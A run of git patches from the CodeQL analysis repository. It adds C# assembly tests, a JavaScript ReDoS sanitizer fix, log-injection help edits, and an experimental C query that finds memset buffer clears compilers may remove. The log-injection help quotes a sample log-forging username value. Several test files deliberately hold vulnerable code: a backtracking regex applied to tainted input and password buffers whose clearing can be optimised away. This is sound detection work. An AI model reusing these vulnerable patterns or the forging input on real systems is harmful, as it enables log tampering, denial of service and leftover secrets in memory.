Version=4.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e | no compilation | +| System.Runtime, Version=4.2.2.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a | no compilation | +| System.Runtime.Extensions, Version=4.2.2.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a | no compilation | +| mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | no compilation | diff --git a/csharp/ql/test/library-tests/assemblies/compilation.ql b/csharp/ql/test/library-tests/assemblies/compilation.ql new file mode 100644 index 00000000000..6783c6eebca --- /dev/null +++ b/csharp/ql/test/library-tests/assemblies/compilation.ql @@ -0,0 +1,8 @@ +import csharp + +private string hasCompilation(Assembly a) { + if exists(a.getCompilation()) then result = "has compilation" else result = "no compilation" +} + +from Assembly a +select a.getFullName(), hasCompilation(a) diff --git a/csharp/ql/test/library-tests/compilations/Compilations.expected b/csharp/ql/test/library-tests/compilations/Compilations.expected index 92905087cc3..de6c72255ed 100644 --- a/csharp/ql/test/library-tests/compilations/Compilations.expected +++ b/csharp/ql/test/library-tests/compilations/Compilations.expected @@ -35,3 +35,5 @@ references | compilation | mscorlib.dll | timings | compilation | +assembly +| compilation | Program.dll:0:0:0:0 | Program, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null | diff --git a/csharp/ql/test/library-tests/compilations/Compilations.ql b/csharp/ql/test/library-tests/compilations/Compilations.ql index e54b36c4e10..c523dea5780 100644 --- a/csharp/ql/test/library-tests/compilations/Compilations.ql +++ b/csharp/ql/test/library-tests/compilations/Compilations.ql @@ -39,3 +39,5 @@ query predicate timings(Compilation c) { c.getCpuSeconds() > 0 and c.getElapsedSeconds() > 0 } + +query predicate assembly(Compilation c, Assembly a) { c.getOutputAssembly() = a } From d71adff079aaef04620e3797b50a41a4e9c8274f Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Tue, 12 Jan 2021 18:15:59 +0100 Subject: [PATCH 0547/1241] dont sanitize global replacements where the regexp is a char class --- .../performance/PolynomialReDoSCustomizations.qll | 8 +++++++- .../ReDoS/PolynomialBackTracking.expected | 1 + .../Performance/ReDoS/PolynomialReDoS.expected | 15 +++++++++++++++ .../Performance/ReDoS/polynomial-redos.js | 7 +++++++ 4 files changed, 30 insertions(+), 1 deletion(-) diff --git a/javascript/ql/src/semmle/javascript/security/performance/PolynomialReDoSCustomizations.qll b/javascript/ql/src/semmle/javascript/security/performance/PolynomialReDoSCustomizations.qll index 0645589a5e6..09266256f6c 100644 --- a/javascript/ql/src/semmle/javascript/security/performance/PolynomialReDoSCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/performance/PolynomialReDoSCustomizations.qll @@ -84,7 +84,13 @@ module PolynomialReDoS { */ class StringLengthLimiter extends Sanitizer { StringLengthLimiter() { - this.(StringReplaceCall).isGlobal() + this.(StringReplaceCall).isGlobal() and + // not char classes - they don't remove any repeated pattern. + not exists(RegExpTerm root | root = this.(StringReplaceCall).getRegExp().getRoot() | + root instanceof RegExpCharacterClass + or + root instanceof RegExpCharacterClassEscape + ) or exists(string name | name = "slice" or name = "substring" or name = "substr" | this.(DataFlow::MethodCallNode).getMethodName() = name diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected index c351f3f902e..e44d8596e67 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected +++ b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected @@ -104,6 +104,7 @@ | polynomial-redos.js:114:22:114:24 | \\w* | Strings starting with '5' and with many repetitions of '5' can start matching anywhere after the start of the preceeding \\d* | | polynomial-redos.js:116:21:116:28 | [\\d\\D]*? | Strings starting with '/*' and with many repetitions of 'a/*' can start matching anywhere after the start of the preceeding \\/\\*[\\d\\D]*?\\*\\/ | | polynomial-redos.js:118:17:118:23 | (#\\d+)+ | Strings with many repetitions of '9' can start matching anywhere after the start of the preceeding \\d+ | +| polynomial-redos.js:124:33:124:35 | \\s+ | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding \\s+$ | | regexplib/address.js:27:3:27:5 | \\s* | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding (\\s*\\(?0\\d{4}\\)?(\\s*\|-)\\d{3}(\\s*\|-)\\d{3}\\s*) | | regexplib/address.js:27:48:27:50 | \\s* | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding (\\s*\\(?0\\d{3}\\)?(\\s*\|-)\\d{3}(\\s*\|-)\\d{4}\\s*) | | regexplib/address.js:27:93:27:95 | \\s* | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding (\\s*(7\|8)(\\d{7}\|\\d{3}(\\-\|\\s{1})\\d{4})\\s*) | diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialReDoS.expected b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialReDoS.expected index 71990d6b919..4a2b6a87c9f 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialReDoS.expected +++ b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialReDoS.expected @@ -138,6 +138,13 @@ nodes | polynomial-redos.js:116:2:116:8 | tainted | | polynomial-redos.js:118:2:118:8 | tainted | | polynomial-redos.js:118:2:118:8 | tainted | +| polynomial-redos.js:121:7:121:55 | replaced | +| polynomial-redos.js:121:18:121:24 | tainted | +| polynomial-redos.js:121:18:121:55 | tainted ... /g, '') | +| polynomial-redos.js:123:3:123:20 | result | +| polynomial-redos.js:123:13:123:20 | replaced | +| polynomial-redos.js:124:12:124:17 | result | +| polynomial-redos.js:124:12:124:17 | result | edges | lib/lib.js:3:28:3:31 | name | lib/lib.js:4:14:4:17 | name | | lib/lib.js:3:28:3:31 | name | lib/lib.js:4:14:4:17 | name | @@ -269,10 +276,17 @@ edges | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:116:2:116:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:118:2:118:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:118:2:118:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:121:18:121:24 | tainted | | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:5:6:5:32 | tainted | | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:5:6:5:32 | tainted | | polynomial-redos.js:68:18:68:24 | req.url | polynomial-redos.js:68:18:68:24 | req.url | | polynomial-redos.js:69:18:69:25 | req.body | polynomial-redos.js:69:18:69:25 | req.body | +| polynomial-redos.js:121:7:121:55 | replaced | polynomial-redos.js:123:13:123:20 | replaced | +| polynomial-redos.js:121:18:121:24 | tainted | polynomial-redos.js:121:18:121:55 | tainted ... /g, '') | +| polynomial-redos.js:121:18:121:55 | tainted ... /g, '') | polynomial-redos.js:121:7:121:55 | replaced | +| polynomial-redos.js:123:3:123:20 | result | polynomial-redos.js:124:12:124:17 | result | +| polynomial-redos.js:123:3:123:20 | result | polynomial-redos.js:124:12:124:17 | result | +| polynomial-redos.js:123:13:123:20 | replaced | polynomial-redos.js:123:3:123:20 | result | #select | lib/lib.js:4:14:4:17 | name | lib/lib.js:3:28:3:31 | name | lib/lib.js:4:14:4:17 | name | This expensive $@ use depends on $@. | lib/lib.js:1:15:1:16 | a* | regular expression | lib/lib.js:3:28:3:31 | name | library input | | polynomial-redos.js:7:2:7:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:7:2:7:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:7:24:7:26 | \\s+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | @@ -349,3 +363,4 @@ edges | polynomial-redos.js:114:2:114:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:114:2:114:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:114:22:114:24 | \\w* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:116:2:116:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:116:2:116:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:116:21:116:28 | [\\d\\D]*? | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:118:2:118:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:118:2:118:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:118:17:118:23 | (#\\d+)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:124:12:124:17 | result | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:124:12:124:17 | result | This expensive $@ use depends on $@. | polynomial-redos.js:124:33:124:35 | \\s+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/polynomial-redos.js b/javascript/ql/test/query-tests/Performance/ReDoS/polynomial-redos.js index f474b7c3869..0e91b5a9b56 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/polynomial-redos.js +++ b/javascript/ql/test/query-tests/Performance/ReDoS/polynomial-redos.js @@ -116,4 +116,11 @@ app.use(function(req, res) { tainted.match(/\/\*[\d\D]*?\*\//g); // NOT OK tainted.match(/(#\d+)+/); // OK - but still flagged due to insufficient suffix-checking. + + (function foo() { + var replaced = tainted.replace(/[^\w\s\-\.\_~]/g, ''); + var result = "" + result += replaced; + result = result.replace(/^\s+|\s+$/g, ''); // NOT OK + })(); }); From c98dacf8421c2af9470e004ffae1760950bd4ff2 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Wed, 13 Jan 2021 10:36:50 +0100 Subject: [PATCH 0548/1241] changes based on doc review --- javascript/ql/src/Security/CWE-117/LogInjection.qhelp | 8 ++++---- javascript/ql/src/Security/CWE-117/LogInjection.ql | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/javascript/ql/src/Security/CWE-117/LogInjection.qhelp b/javascript/ql/src/Security/CWE-117/LogInjection.qhelp index b125d3beadb..04a1a3e36e8 100644 --- a/javascript/ql/src/Security/CWE-117/LogInjection.qhelp +++ b/javascript/ql/src/Security/CWE-117/LogInjection.qhelp @@ -18,12 +18,12 @@ arbitrary HTML may be included to spoof log entries.</p> User input should be suitably sanitized before it is logged. </p> <p> -If the log entries are plain text then line breaks should be removed from user input, using +If the log entries are in plain text then line breaks should be removed from user input, using <code>String.prototype.replace</code> or similar. Care should also be taken that user input is clearly marked -in log entries, and that a malicious user cannot cause confusion in other ways. +in log entries. </p> <p> -For log entries that will be displayed in HTML, user input should be HTML encoded before being logged, to prevent forgery and +For log entries that will be displayed in HTML, user input should be HTML-encoded before being logged, to prevent forgery and other forms of HTML injection. </p> @@ -31,7 +31,7 @@ other forms of HTML injection. <example> <p>In the first example, a username, provided by the user, is logged using `console.info`. In -the first case, it is logged without any sanitization. In the second case the username is used to build an error that is logged using `console.error`. +the first case, it is logged without any sanitization. In the second case, the username is used to build an error that is logged using `console.error`. If a malicious user provides `username=Guest%0a[INFO]+User:+Admin%0a` as a username parameter, the log entry will be splitted in two different lines, where the second line will be `[INFO]+User:+Admin`. </p> diff --git a/javascript/ql/src/Security/CWE-117/LogInjection.ql b/javascript/ql/src/Security/CWE-117/LogInjection.ql index ad374bac55c..ac475373f93 100644 --- a/javascript/ql/src/Security/CWE-117/LogInjection.ql +++ b/javascript/ql/src/Security/CWE-117/LogInjection.ql @@ -1,5 +1,5 @@ /** - * @name Log Injection + * @name Log injection * @description Building log entries from user-controlled sources is vulnerable to * insertion of forged log entries by a malicious user. * @kind path-problem From 4cee67da753bd001222aeefc1757428e9b8214f2 Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Wed, 13 Jan 2021 14:17:21 +0300 Subject: [PATCH 0549/1241] Add files via upload --- .../CompilerRemovalOfCodeToClearBuffers.c | 35 +++++ .../CompilerRemovalOfCodeToClearBuffers.qhelp | 31 +++++ .../CompilerRemovalOfCodeToClearBuffers.ql | 121 ++++++++++++++++++ 3 files changed, 187 insertions(+) create mode 100644 cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.c create mode 100644 cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.qhelp create mode 100644 cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.c b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.c new file mode 100644 index 00000000000..ab1bae3ae21 --- /dev/null +++ b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.c @@ -0,0 +1,35 @@ +// BAD: the memset call will probably be optimized. +void getPassword(void) { + char pwd[64]; + if (GetPassword(pwd, sizeof(pwd))) { + /* Checking of password, secure operations, etc. */ + } + memset(pwd, 0, sizeof(pwd)); +} +// GOOD: in this case the memset will not be optimized. +void getPassword(void) { + char pwd[64]; + + if (retrievePassword(pwd, sizeof(pwd))) { + /* Checking of password, secure operations, etc. */ + } + memset_s(pwd, 0, sizeof(pwd)); +} +// GOOD: in this case the memset will not be optimized. +void getPassword(void) { + char pwd[64]; + if (retrievePassword(pwd, sizeof(pwd))) { + /* Checking of password, secure operations, etc. */ + } + SecureZeroMemory(pwd, sizeof(pwd)); +} +// GOOD: in this case the memset will not be optimized. +void getPassword(void) { + char pwd[64]; + if (retrievePassword(pwd, sizeof(pwd))) { + /* Checking of password, secure operations, etc. */ + } +#pragma optimize("", off) + memset(pwd, 0, sizeof(pwd)); +#pragma optimize("", on) +} diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.qhelp b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.qhelp new file mode 100644 index 00000000000..89b4189a100 --- /dev/null +++ b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.qhelp @@ -0,0 +1,31 @@ +<!DOCTYPE qhelp PUBLIC + "-//Semmle//qhelp//EN" + "qhelp.dtd"> +<qhelp> +<overview> +<p>Compiler optimization will exclude the cleaning of private information. +Using the memset function to clear private data as a final expression when working with a variable is potentially dangerous, since the compiler can optimize this call. +For some compilers, optimization is also possible when using calls to free memory after the <code>memset</codee> function.</p> + +<p>It is possible to miss detection of vulnerabilities if used to clear fields of structures or parts of a buffer.</p> + +</overview> +<recommendation> + +<p>We recommend to use the <code>RtlSecureZeroMemory</code> or <code>memset_s</code> functions, or compilation flags that exclude optimization of <code>memset</code> calls (-fno-builtin-memset).</p> + +</recommendation> +<example> +<p>The following example demonstrates an erroneous and corrected use of the <code>memset</code> function.</p> +<sample src="CompilerRemovalOfCodeToClearBuffers.c" /> + +</example> +<references> + +<li> + CERT C Coding Standard: + <a href="https://wiki.sei.cmu.edu/confluence/display/c/MSC06-C.+Beware+of+compiler+optimizations">MSC06-C. Beware of compiler optimizations</a>. +</li> + +</references> +</qhelp> diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql new file mode 100644 index 00000000000..fd53478cce6 --- /dev/null +++ b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql @@ -0,0 +1,121 @@ +/** + * @name Compiler Removal Of Code To Clear Buffers + * @description --Using the memset function to clear private data as a final expression when working with a variable is potentially dangerous because the compiler can optimize this call. + * --For some compilers, optimization is also possible when using calls to free memory after the memset function. + * --To clear it, you need to use the RtlSecureZeroMemory or memset_s functions, or compilation flags that exclude optimization of memset calls (-fno-builtin-memset). + * @kind problem + * @id cpp/compiler-removal-of-code-to-clear-buffers + * @problem.severity warning + * @precision medium + * @tags security + * external/cwe/cwe-14 + */ + +import cpp +import semmle.code.cpp.dataflow.DataFlow + +/** + * A call to `memset` , for some local variable. + */ +class CompilerRemovaMemset extends FunctionCall { + CompilerRemovaMemset() { + this.getTarget().hasName("memset") and + exists(DataFlow::Node source, DataFlow::Node sink, LocalVariable isv, Expr exp | + DataFlow::localFlow(source, sink) and + this.getArgument(0) = isv.getAnAccess() and + source.asExpr() = exp and + exp.getLocation().getEndLine() < this.getArgument(0).getLocation().getStartLine() and + sink.asExpr() = this.getArgument(0) + ) + } + + predicate isExistsAllocForThisVariable() { + exists(FunctionCall alloc, Variable v | + alloc = v.getAnAssignedValue() and + this.getArgument(0) = v.getAnAccess() and + alloc.getASuccessor+() = this + ) + } + + predicate isExistsFreeForThisVariable() { + exists(FunctionCall free, Variable v | + free instanceof DeallocationExpr and + this.getArgument(0) = v.getAnAccess() and + free.getArgument(0) = v.getAnAccess() and + this.getASuccessor+() = free + ) + } + + predicate isExistsCallWithThisVariableExcludingDeallocationCalls() { + exists(FunctionCall fc, Variable v | + not fc instanceof DeallocationExpr and + this.getArgument(0) = v.getAnAccess() and + fc.getAnArgument() = v.getAnAccess() and + this.getASuccessor+() = fc + ) + } + + predicate isVariableUseAfterMemsetExcludingCalls() { + exists(DataFlow::Node source, DataFlow::Node sink, LocalVariable isv, Expr exp | + DataFlow::localFlow(source, sink) and + this.getArgument(0) = isv.getAnAccess() and + source.asExpr() = isv.getAnAccess() and + exp.getLocation().getStartLine() > this.getArgument(2).getLocation().getEndLine() and + not exp.getParent() instanceof FunctionCall and + sink.asExpr() = exp + ) + } + + predicate isVariableUseBoundWithArgumentFunction() { + exists(DataFlow::Node source, DataFlow::Node sink, LocalVariable isv, Parameter p, Expr exp | + DataFlow::localFlow(source, sink) and + this.getArgument(0) = isv.getAnAccess() and + this.getEnclosingFunction().getAParameter() = p and + exp.getAChild*() = p.getAnAccess() and + source.asExpr() = exp and + sink.asExpr() = isv.getAnAccess() + ) + } + + predicate isVariableUseBoundWithGlobalVariable() { + exists( + DataFlow::Node source, DataFlow::Node sink, LocalVariable isv, GlobalVariable gv, Expr exp + | + DataFlow::localFlow(source, sink) and + this.getArgument(0) = isv.getAnAccess() and + exp.getAChild*() = gv.getAnAccess() and + source.asExpr() = exp and + sink.asExpr() = isv.getAnAccess() + ) + } + + predicate isExistsCompilationFlagsBlockingRemoval() { + exists(Compilation c | + c.getAFileCompiled() = this.getFile() and + c.getAnArgument() = "-fno-builtin-memset" + ) + } + + predicate isUseVCCompilation() { + exists(Compilation c | + c.getAFileCompiled() = this.getFile() and + ( + c.getArgument(2).toString().matches("%gcc%") or + c.getArgument(2).toString().matches("%g++%") or + c.getArgument(2).toString().matches("%clang%") or + c.getArgument(2).toString() = "--force-recompute" + ) + ) + } +} + +from CompilerRemovaMemset fc +where + not (fc.isExistsAllocForThisVariable() and not fc.isExistsFreeForThisVariable()) and + not (fc.isExistsFreeForThisVariable() and not fc.isUseVCCompilation()) and + not fc.isVariableUseAfterMemsetExcludingCalls() and + not fc.isExistsCallWithThisVariableExcludingDeallocationCalls() and + not fc.isVariableUseBoundWithArgumentFunction() and + not fc.isVariableUseBoundWithGlobalVariable() and + not fc.isExistsCompilationFlagsBlockingRemoval() +select fc.getArgument(0), "this variable will not be cleared" From 3ad45f28c90ceb429d53e7245ab7627f36b677d8 Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Wed, 13 Jan 2021 14:18:54 +0300 Subject: [PATCH 0550/1241] Add files via upload --- ...mpilerRemovalOfCodeToClearBuffers.expected | 3 + .../CompilerRemovalOfCodeToClearBuffers.qlref | 1 + .../Security/CWE/CWE-14/semmle/tests/test.c | 201 ++++++++++++++++++ 3 files changed, 205 insertions(+) create mode 100644 cpp/ql/test/experimental/query-tests/Security/CWE/CWE-14/semmle/tests/CompilerRemovalOfCodeToClearBuffers.expected create mode 100644 cpp/ql/test/experimental/query-tests/Security/CWE/CWE-14/semmle/tests/CompilerRemovalOfCodeToClearBuffers.qlref create mode 100644 cpp/ql/test/experimental/query-tests/Security/CWE/CWE-14/semmle/tests/test.c diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-14/semmle/tests/CompilerRemovalOfCodeToClearBuffers.expected b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-14/semmle/tests/CompilerRemovalOfCodeToClearBuffers.expected new file mode 100644 index 00000000000..fbb5a3f1552 --- /dev/null +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-14/semmle/tests/CompilerRemovalOfCodeToClearBuffers.expected @@ -0,0 +1,3 @@ +| test.c:13:9:13:13 | buff1 | this variable will not be cleared | +| test.c:35:9:35:13 | buff1 | this variable will not be cleared | +| test.c:43:9:43:13 | buff1 | this variable will not be cleared | diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-14/semmle/tests/CompilerRemovalOfCodeToClearBuffers.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-14/semmle/tests/CompilerRemovalOfCodeToClearBuffers.qlref new file mode 100644 index 00000000000..61d2a29b126 --- /dev/null +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-14/semmle/tests/CompilerRemovalOfCodeToClearBuffers.qlref @@ -0,0 +1 @@ +experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-14/semmle/tests/test.c b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-14/semmle/tests/test.c new file mode 100644 index 00000000000..221072330c3 --- /dev/null +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-14/semmle/tests/test.c @@ -0,0 +1,201 @@ +struct buffers +{ + unsigned char buff1[50]; + unsigned char *buff2; +} globalBuff1,*globalBuff2; + +unsigned char * globalBuff; +void badFunc0_0(){ + unsigned char buff1[12]; + int i; + for(i=0;i<12;i++) + buff1[i]=13; + memset(buff1,12,12); +} +void nobadFunc0_0(){ + unsigned char buff1[12]; + memset(buff1,12,12); +} +void nobadFunc0_1(){ + unsigned char buff1[12]; + int i; + memset(buff1,12,12); + for(i=0;i<12;i++) + buff1[i]=13; + free(buff1); +} +void nobadFunc1_0(){ + unsigned char * buff1; + buff1 = (unsigned char *) malloc(12); + memset(buff1,12,12); +} +void badFunc1_0(){ + unsigned char * buff1; + buff1 = (unsigned char *) malloc(12); + memset(buff1,12,12); + free(buff1); +} +void badFunc1_1(){ + unsigned char buff1[12]; + int i; + for(i=0;i<12;i++) + buff1[i]=13; + memset(buff1,12,12); + free(buff1); +} +void nobadFunc2_0_0(){ + unsigned char buff1[12]; + int i; + for(i=0;i<12;i++) + buff1[i]=13; + memset(buff1,12,12); + printf(buff1); +} + +void nobadFunc2_0_1(){ + unsigned char buff1[12]; + int i; + for(i=0;i<12;i++) + buff1[i]=13; + memset(buff1,12,12); + printf(buff1+3); +} + +void nobadFunc2_0_2(){ + unsigned char buff1[12]; + int i; + for(i=0;i<12;i++) + buff1[i]=13; + memset(buff1,12,12); + printf(*buff1); +} + +void nobadFunc2_0_3(){ + unsigned char buff1[12]; + int i; + for(i=0;i<12;i++) + buff1[i]=13; + memset(buff1,12,12); + printf(*(buff1+3)); +} +unsigned char * nobadFunc2_0_4(){ + unsigned char buff1[12]; + int i; + for(i=0;i<12;i++) + buff1[i]=13; + memset(buff1,12,12); + return buff1; +} + +unsigned char * nobadFunc2_0_5(){ + unsigned char buff1[12]; + int i; + for(i=0;i<12;i++) + buff1[i]=13; + memset(buff1,12,12); + return buff1+3; +} +unsigned char nobadFunc2_0_6(){ + unsigned char buff1[12]; + int i; + for(i=0;i<12;i++) + buff1[i]=13; + memset(buff1,12,12); + return *buff1; +} + +unsigned char nobadFunc2_0_7(){ + unsigned char buff1[12]; + int i; + for(i=0;i<12;i++) + buff1[i]=13; + memset(buff1,12,12); + return *(buff1+3); +} +void nobadFunc2_1_0(){ + unsigned char buff1[12]; + int i; + for(i=0;i<12;i++) + buff1[i]=13; + memset(buff1,12,12); + if(*buff1==0) + printf("123123"); +} +void nobadFunc2_1_1(){ + unsigned char buff1[12]; + int i; + for(i=0;i<12;i++) + buff1[i]=13; + memset(buff1,12,12); + if(*(buff1+3)==0) + printf("123123"); +} +void nobadFunc2_1_2(){ + unsigned char buff1[12]; + int i; + for(i=0;i<12;i++) + buff1[i]=13; + memset(buff1,12,12); + buff1[2]=5; +} +void nobadFunc3_0(unsigned char * buffAll){ + unsigned char * buff1 = buffAll; + memset(buff1,12,12); +} +void nobadFunc3_1(unsigned char * buffAll){ + unsigned char * buff1 = buffAll+3; + memset(buff1,12,12); +} +void nobadFunc3_2(struct buffers buffAll){ + unsigned char * buff1 = buffAll.buff1; + memset(buff1,12,12); +} +void nobadFunc3_3(struct buffers buffAll){ + unsigned char * buff1 = buffAll.buff2; + memset(buff1,12,12); +} +void nobadFunc3_4(struct buffers buffAll){ + unsigned char * buff1 = buffAll.buff2+3; + memset(buff1,12,12); +} +void nobadFunc3_5(struct buffers * buffAll){ + unsigned char * buff1 = buffAll->buff1; + memset(buff1,12,12); +} +void nobadFunc3_6(struct buffers *buffAll){ + unsigned char * buff1 = buffAll->buff2; + memset(buff1,12,12); +} +void nobadFunc4(){ + unsigned char * buff1 = globalBuff; + memset(buff1,12,12); +} +void nobadFunc4_0(){ + unsigned char * buff1 = globalBuff; + memset(buff1,12,12); +} +void nobadFunc4_1(){ + unsigned char * buff1 = globalBuff+3; + memset(buff1,12,12); +} +void nobadFunc4_2(){ + unsigned char * buff1 = globalBuff1.buff1; + memset(buff1,12,12); +} +void nobadFunc4_3(){ + unsigned char * buff1 = globalBuff1.buff2; + memset(buff1,12,12); +} +void nobadFunc4_4(){ + unsigned char * buff1 = globalBuff1.buff2+3; + memset(buff1,12,12); +} +void nobadFunc4_5(){ + unsigned char * buff1 = globalBuff2->buff1; + memset(buff1,12,12); +} +void nobadFunc4_6(){ + unsigned char * buff1 = globalBuff2->buff2; + memset(buff1,12,12); +} + From c2a4235db8ada7107206ec95af5bf3f5548db0f2 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Wed, 13 Jan 2021 08:50:50 +0100 Subject: [PATCH 0551/1241] C#: Add type-mention tests with nullability --- .../typeMentions/nullable-disable/Program.cs | 22 +++++++++++++++++++ .../nullable-disable/TypeMentions.expected | 19 ++++++++++++++++ .../nullable-disable/TypeMentions.ql | 4 ++++ .../typeMentions/nullable-enable/Program.cs | 22 +++++++++++++++++++ .../nullable-enable/TypeMentions.expected | 21 ++++++++++++++++++ .../nullable-enable/TypeMentions.ql | 4 ++++ 6 files changed, 92 insertions(+) create mode 100644 csharp/ql/test/library-tests/typeMentions/nullable-disable/Program.cs create mode 100644 csharp/ql/test/library-tests/typeMentions/nullable-disable/TypeMentions.expected create mode 100644 csharp/ql/test/library-tests/typeMentions/nullable-disable/TypeMentions.ql create mode 100644 csharp/ql/test/library-tests/typeMentions/nullable-enable/Program.cs create mode 100644 csharp/ql/test/library-tests/typeMentions/nullable-enable/TypeMentions.expected create mode 100644 csharp/ql/test/library-tests/typeMentions/nullable-enable/TypeMentions.ql diff --git a/csharp/ql/test/library-tests/typeMentions/nullable-disable/Program.cs b/csharp/ql/test/library-tests/typeMentions/nullable-disable/Program.cs new file mode 100644 index 00000000000..b7627a992d7 --- /dev/null +++ b/csharp/ql/test/library-tests/typeMentions/nullable-disable/Program.cs @@ -0,0 +1,22 @@ +using System; + +#nullable disable + +public class Base { } +public class Derived : Base { } +public interface I0 { } +public interface I1 : I0 { } +public struct Str : I1 { } + +public class C1 +{ + public void M1() + { + Derived? d0 = new Derived(); + Derived d1 = new Derived(); + Str? s0 = new Str(); + Str s1 = new Str(); + I1? i0 = new Str(); + I1 i1 = new Str(); + } +} \ No newline at end of file diff --git a/csharp/ql/test/library-tests/typeMentions/nullable-disable/TypeMentions.expected b/csharp/ql/test/library-tests/typeMentions/nullable-disable/TypeMentions.expected new file mode 100644 index 00000000000..643dbc807fc --- /dev/null +++ b/csharp/ql/test/library-tests/typeMentions/nullable-disable/TypeMentions.expected @@ -0,0 +1,19 @@ +| Program.cs:6:24:6:27 | Base | +| Program.cs:6:24:6:27 | Base | +| Program.cs:8:23:8:24 | I0 | +| Program.cs:8:23:8:24 | I0 | +| Program.cs:9:21:9:22 | I1 | +| Program.cs:13:12:13:15 | Void | +| Program.cs:15:9:15:15 | Derived | +| Program.cs:15:27:15:33 | Derived | +| Program.cs:16:9:16:15 | Derived | +| Program.cs:16:26:16:32 | Derived | +| Program.cs:17:9:17:11 | Str | +| Program.cs:17:9:17:12 | Nullable<Str> | +| Program.cs:17:23:17:25 | Str | +| Program.cs:18:9:18:11 | Str | +| Program.cs:18:22:18:24 | Str | +| Program.cs:19:9:19:10 | I1 | +| Program.cs:19:22:19:24 | Str | +| Program.cs:20:9:20:10 | I1 | +| Program.cs:20:21:20:23 | Str | diff --git a/csharp/ql/test/library-tests/typeMentions/nullable-disable/TypeMentions.ql b/csharp/ql/test/library-tests/typeMentions/nullable-disable/TypeMentions.ql new file mode 100644 index 00000000000..817a4fde7df --- /dev/null +++ b/csharp/ql/test/library-tests/typeMentions/nullable-disable/TypeMentions.ql @@ -0,0 +1,4 @@ +import csharp + +from TypeMention tm +select tm diff --git 